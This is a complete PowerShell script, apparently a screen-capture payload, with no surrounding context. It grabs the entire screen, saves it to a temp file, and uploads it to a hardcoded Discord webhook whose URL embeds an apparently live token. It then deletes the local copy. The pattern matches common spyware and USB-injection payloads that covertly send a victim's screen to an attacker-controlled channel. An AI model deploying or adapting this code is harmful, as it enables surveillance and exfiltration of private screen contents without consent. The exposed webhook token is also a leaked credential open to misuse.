# --- Configuration --- # Replace with your actual webhook URL (e.g., a Discord webhook URL) $webhookUrl = "https://discord.com/api/webhooks/1439316986130727013/eTFRdumZ5ZHUKtuK0tDlAoF3WbdzgIb6RqlxACn8633mPFnmAKwA3yEhNiIbE4wDnyO6" # --- Main Script --- # --- Main Script --- # Initialize variables to null to ensure they exist for the 'finally' block $tempPath = $null $bitmap = $null $graphics = $null $httpClient = $null $formData = $null try { # Add necessary .NET assemblies for screen capture Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing # Add assembly for HttpClient Add-Type -AssemblyName System.Net.Http # Get the primary screen's dimensions $screen = [System.Windows.Forms.SystemInformation]::VirtualScreen $width = $screen.Width $height = $screen.Height $left = $screen.Left $top = $screen.Top # Create bitmap and graphics objects $bitmap = New-Object System.Drawing.Bitmap($width, $height) $graphics = [System.Drawing.Graphics]::FromImage($bitmap) # Copy the screen content to the graphics object $graphics.CopyFromScreen($left, $top, 0, 0, $bitmap.Size) # Save the screenshot to a temporary file $tempPath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "screenshot-$(Get-Date -Format 'yyyy-MM-dd_HH-mm-ss').png") $bitmap.Save($tempPath, [System.Drawing.Imaging.ImageFormat]::Png) Write-Host "Screenshot saved to $tempPath" # --- Send the screenshot using .NET HttpClient for compatibility --- Write-Host "Preparing to send screenshot to webhook..." # Create the multipart form data content $formData = New-Object System.Net.Http.MultipartFormDataContent # Read the file content as a byte array $fileBytes = [System.IO.File]::ReadAllBytes($tempPath) # *** THE FIX IS HERE: *** # Use the unary comma operator (,) to pass the byte array as a SINGLE object. # Without the comma, PowerShell unrolls the array and passes each byte as a separate argument. $fileContent = New-Object System.Net.Http.ByteArrayContent(,$fileBytes) # Add the file content to the form, specifying the part name ('file1') and the filename $formData.Add($fileContent, "file1", "screenshot.png") # Create the HttpClient and post the data $httpClient = New-Object System.Net.Http.HttpClient $response = $httpClient.PostAsync($webhookUrl, $formData).Result # Check if the request was successful if ($response.IsSuccessStatusCode) { Write-Host "Screenshot sent successfully to the webhook." } else { $responseBody = $response.Content.ReadAsStringAsync().Result Write-Error "Failed to send screenshot. Server returned status '$($response.StatusCode)' with response: $responseBody" } } catch { # Provide more detailed error information Write-Error "An unhandled error occurred: $($_.Exception.Message)" } finally { # Clean up .NET resources to free memory if ($graphics -ne $null) { $graphics.Dispose() } if ($bitmap -ne $null) { $bitmap.Dispose() } if ($formData -ne $null) { $formData.Dispose() } if ($httpClient -ne $null) { $httpClient.Dispose() } # Remove the temporary screenshot file if ($tempPath -and (Test-Path $tempPath)) { Remove-Item $tempPath -Force Write-Host "Temporary file $tempPath removed." } }